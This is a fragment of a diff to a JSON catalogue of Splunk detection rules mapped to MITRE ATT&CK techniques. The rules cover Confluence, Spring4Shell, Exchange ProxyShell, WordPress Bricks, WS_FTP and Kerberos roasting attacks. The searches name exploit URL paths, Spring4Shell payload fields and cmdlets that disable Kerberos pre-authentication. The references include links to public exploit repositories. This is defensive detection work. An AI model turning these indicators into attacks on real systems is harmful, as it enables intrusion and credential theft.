"mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Web Remote ShellServlet Access", - "description": "The following analytic identifies attempts to access the Remote ShellServlet on a web server, specifically targeting Confluence servers vulnerable to CVE-2023-22518 and CVE-2023-22515. It leverages web data to detect URLs containing \"*plugins/servlet/com.jsos.shell/*\" with a status code of 200. This activity is significant as it is commonly associated with web shells and other malicious behaviors, potentially leading to unauthorized command execution. If confirmed malicious, attackers could gain remote code execution capabilities, compromising the server and potentially the entire network.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*plugins/servlet/com.jsos.shell/*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_remote_shellservlet_access_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-22515 Privilege Escalation Vulnerability Confluence Data Center and Server" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to access the Remote ShellServlet on a web server was detected. The source IP is $src$ and the destination hostname is $dest$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Web Spring4Shell HTTP Request Class Module", - "description": "The following analytic detects HTTP requests containing payloads related to the Spring4Shell vulnerability (CVE-2022-22965). It leverages Splunk Stream HTTP data to inspect the HTTP request body and form data for specific fields such as \"class.module.classLoader.resources.context.parent.pipeline.first\". This activity is significant as it indicates an attempt to exploit a critical vulnerability in Spring Framework, potentially leading to remote code execution. If confirmed malicious, this could allow attackers to gain unauthorized access, execute arbitrary code, and compromise the affected system.", - "search": "`stream_http` http_method IN (\"POST\") | stats values(form_data) as http_request_body min(_time) as firstTime max(_time) as lastTime count by src dest http_method http_user_agent uri_path url bytes_in bytes_out | search http_request_body IN (\"*class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_*\", \"*class.module.classLoader.resources.context.parent.pipeline.first.pattern*\",\"*suffix=.jsp*\") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_spring4shell_http_request_class_module_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A http body request related to Spring4Shell has been sent to $dest$ by $src$.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Web Spring Cloud Function FunctionRouter", - "description": "The following analytic identifies HTTP POST requests to the Spring Cloud Function endpoint containing \"functionRouter\" in the URL. It leverages the Web data model to detect these requests based on specific fields such as http_method, url, and http_user_agent. This activity is significant because it targets CVE-2022-22963, a known vulnerability in Spring Cloud Function, which has multiple proof-of-concept exploits available. If confirmed malicious, this activity could allow attackers to execute arbitrary code, potentially leading to unauthorized access, data exfiltration, or further compromise of the affected system.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"POST\") Web.url=\"*/functionRouter*\" by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest Web.status sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_spring_cloud_function_functionrouter_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious URL has been requested against $dest$ by $src$, related to a vulnerability in Spring Cloud.", - "risk_score": 42, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Exchange Autodiscover SSRF Abuse", - "description": "The following analytic detects potential abuse of the ProxyShell or ProxyNotShell vulnerabilities in Microsoft Exchange via Server Side Request Forgery (SSRF). It leverages the Web datamodel to identify suspicious POST requests with specific URI paths and queries related to autodiscover, powershell, and mapi. This activity is significant as it may indicate an attempt to exploit Exchange server vulnerabilities to access internal services or sensitive data. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.status=200 OR Web.status=302 OR Web.status=401) AND Web.http_method=POST by Web.src Web.status Web.uri_path Web.dest Web.http_method Web.uri_query | `drop_dm_object_name(\"Web\")` | eval is_autodiscover=if(like(lower(uri_path),\"%autodiscover%\"),1,0) | eval powershell = if(match(lower(uri_query),\"powershell\"), \"1\",0) | eval mapi=if(like(uri_query,\"%/mapi/%\"),1,0) | addtotals fieldname=Score is_autodiscover, powershell, mapi | fields Score, src,dest, status, uri_query,uri_path,http_method | where Score >= 2 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_exchange_autodiscover_ssrf_abuse_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Activity related to ProxyShell or ProxyNotShell has been identified on $dest$. Review events and take action accordingly.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "WordPress Bricks Builder plugin RCE", - "description": "The following analytic identifies potential exploitation of the WordPress Bricks Builder plugin RCE vulnerability. It detects HTTP POST requests to the URL path \"/wp-json/bricks/v1/render_element\" with a status code of 200, leveraging the Web datamodel. This activity is significant as it indicates an attempt to exploit CVE-2024-25600, a known vulnerability that allows remote code execution. If confirmed malicious, an attacker could execute arbitrary commands on the target server, leading to potential full system compromise and unauthorized access to sensitive data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/wp-json/bricks/v1/render_element\") Web.status=200 Web.http_method=POST by Web.src, Web.dest, Web.http_user_agent, Web.url, Web.uri_path, Web.status, Web.http_method, sourcetype, source | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wordpress_bricks_builder_plugin_rce_filter`", - "tags": { - "analytic_story": [ - "WordPress Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential exploitation of the WordPress Bricks Builder plugin RCE vulnerability on $dest$ by $src$.", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "WS FTP Remote Code Execution", - "description": "The following analytic detects potential Remote Code Execution (RCE) attempts exploiting CVE-2023-40044 in WS_FTP software. It identifies HTTP POST requests to the \"/AHT/AhtApiService.asmx/AuthUser\" URL with a status code of 200. This detection leverages the Web datamodel to monitor specific URL patterns and HTTP status codes. This activity is significant as it may indicate an exploitation attempt, potentially allowing an attacker to execute arbitrary code on the server. If confirmed malicious, this could lead to unauthorized access, data exfiltration, or further compromise of the affected system.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/AHT/AhtApiService.asmx/AuthUser\") Web.status=200 Web.http_method=POST by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ws_ftp_remote_code_execution_filter`", - "tags": { - "analytic_story": [ - "WS FTP Server Critical Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "url", - "type": "URL String", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential WS FTP Remote Code Execution detected against URL $url$ on $dest$ from $src$", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - } - ], - "external_reference": [ - [ - "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" - ], - "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2894", - "https://twitter.com/pyn3rd/status/1020620932967223296", - "https://github.com/LandGrey/CVE-2018-2894", - "https://github.com/zerosum0x0/CVE-2019-0708", - "https://github.com/Ekultek/BlueKeep", - "http://blogs.cisco.com/security/talos/threat-spotlight-group-72", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", - "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" - ], - "controls": [], - "x_mitre_network_requirements": false, - "technique_id": "T1190", - "stix": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" - }, - { - "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", - "name": "Steal or Forge Kerberos Tickets", - "created": "2020-02-11T19:12:46.830Z", - "modified": "2024-03-01T16:58:02.395Z", - "type": "attack-pattern", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Logon Session: Logon Session Metadata", - "Active Directory: Active Directory Credential Request", - "File: File Access" - ], - "x_mitre_contributors": [ - "Tim (Wadhwa-)Brown", - "Cody Thomas, SpecterOps" - ], - "x_mitre_impact_type": [], - "x_mitre_deprecated": false, - "x_mitre_effective_permissions": [], - "x_mitre_remote_support": false, - "x_mitre_permissions_required": [], - "x_mitre_is_subtechnique": false, - "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.", - "x_mitre_defense_bypassed": [], - "x_mitre_system_requirements": [ - "Kerberos authentication enabled" - ], - "x_mitre_attack_spec_version": "3.2.0", - "revoked": false, - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1558", - "external_id": "T1558", - "description": "" - }, - { - "source_name": "CERT-EU Golden Ticket Protection", - "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", - "external_id": "", - "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017." - }, - { - "source_name": "Microsoft Detecting Kerberoasting Feb 2018", - "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", - "external_id": "", - "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018." - }, - { - "source_name": "Kekeo", - "url": "https://github.com/gentilkiwi/kekeo", - "external_id": "", - "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021." - }, - { - "source_name": "SpectorOps Bifrost Kerberos macOS 2019", - "url": "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f", - "external_id": "", - "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021." + "source_name": "SpectorOps Bifrost Kerberos macOS 2019", + "url": "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f", + "external_id": "", + "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021." }, { "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", @@ -267671,851 +191511,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" ] - }, - { - "name": "Disabled Kerberos Pre-Authentication Discovery With Get-ADUser", - "description": "The following analytic detects the execution of the `Get-ADUser` PowerShell cmdlet with parameters indicating a search for domain accounts with Kerberos Pre-Authentication disabled. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this specific activity. This behavior is significant because discovering accounts with Kerberos Pre-Authentication disabled can allow adversaries to perform offline password cracking. If confirmed malicious, this activity could lead to unauthorized access to user accounts, potentially compromising sensitive information and escalating privileges within the network.", - "search": " `powershell` EventCode=4104 (ScriptBlockText = \"*Get-ADUser*\" AND ScriptBlockText=\"*4194304*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | `security_content_ctime(firstTime)` | `disabled_kerberos_pre_authentication_discovery_with_get_aduser_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled Kerberos Pre-Authentication Discovery With Get-ADUser from $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Disabled Kerberos Pre-Authentication Discovery With PowerView", - "description": "The following analytic detects the execution of the `Get-DomainUser` commandlet with the `-PreauthNotRequired` parameter using PowerShell Script Block Logging (EventCode=4104). This command is part of PowerView, a tool used for enumerating Windows Active Directory networks. Identifying domain accounts with Kerberos Pre-Authentication disabled is significant because adversaries can leverage this information to attempt offline password cracking. If confirmed malicious, this activity could lead to unauthorized access to domain accounts, potentially compromising sensitive information and escalating privileges within the network.", - "search": " `powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainUser*\" AND ScriptBlockText=\"*PreauthNotRequired*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | `security_content_ctime(firstTime)` | `disabled_kerberos_pre_authentication_discovery_with_powerview_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled Kerberos Pre-Authentication Discovery With PowerView from $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kerberoasting spn request with RC4 encryption", - "description": "The following analytic detects potential Kerberoasting attacks by identifying Kerberos service ticket requests with RC4 encryption through Event ID 4769. It leverages specific Ticket_Options values commonly used by Kerberoasting tools. This activity is significant as Kerberoasting allows attackers to request service tickets for domain accounts, typically service accounts, and crack them offline to gain privileged access. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and further compromise of the Active Directory environment.", - "search": "`wineventlog_security` EventCode=4769 ServiceName!=\"*$\" (TicketOptions=0x40810000 OR TicketOptions=0x40800000 OR TicketOptions=0x40810010) TicketEncryptionType=0x17 | stats count min(_time) as firstTime max(_time) as lastTime by Computer, service_id, service, TicketEncryptionType, TicketOptions | rename Computer as dest | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `kerberoasting_spn_request_with_rc4_encryption_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Data Destruction", - "Hermetic Wiper", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Potential kerberoasting attack via service principal name requests detected on $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.003", - "mitre_attack_technique": "Kerberoasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "FIN7", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Kerberos Pre-Authentication Flag Disabled in UserAccountControl", - "description": "The following analytic detects when the Kerberos Pre-Authentication flag is disabled in a user account, using Windows Security Event 4738. This event indicates a change in the UserAccountControl property of a domain user object. Disabling this flag allows adversaries to perform offline brute force attacks on the user's password using the AS-REP Roasting technique. This activity is significant as it can be used by attackers with existing privileges to escalate their access or maintain persistence. If confirmed malicious, this could lead to unauthorized access and potential compromise of sensitive information.", - "search": " `wineventlog_security` EventCode=4738 MSADChangedAttributes=\"*Don't Require Preauth' - Enabled*\" |rename Account_Name as user | table EventCode, user, dest, Security_ID, MSADChangedAttributes | `kerberos_pre_authentication_flag_disabled_in_useraccountcontrol_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User Name", - "role": [ - "Victim" - ] - } - ], - "message": "Kerberos Pre Authentication was Disabled for $user$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1558", - "mitre_attack_technique": "Steal or Forge Kerberos Tickets", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1558.004", - "mitre_attack_technique": "AS-REP Roasting", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Kerberos Pre-Authentication Flag Disabled with PowerShell", - "description": "The following analytic detects the use of the `Set-ADAccountControl` PowerShell cmdlet with parameters that disable Kerberos Pre-Authentication. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this specific command execution. Disabling Kerberos Pre-Authentication is significant because it allows adversaries to perform offline brute force attacks against user passwords using the AS-REP Roasting technique. If confirmed malicious, this activity could enable attackers to escalate privileges or maintain persistence within an Active Directory environment, posing a severe security risk.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Set-ADAccountControl*\" AND ScriptBlockText=\"*DoesNotRequirePreAuth:$true*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `kerberos_pre_authentication_flag_disabled_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Kerberos Pre Authentication was Disabled using PowerShell on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - 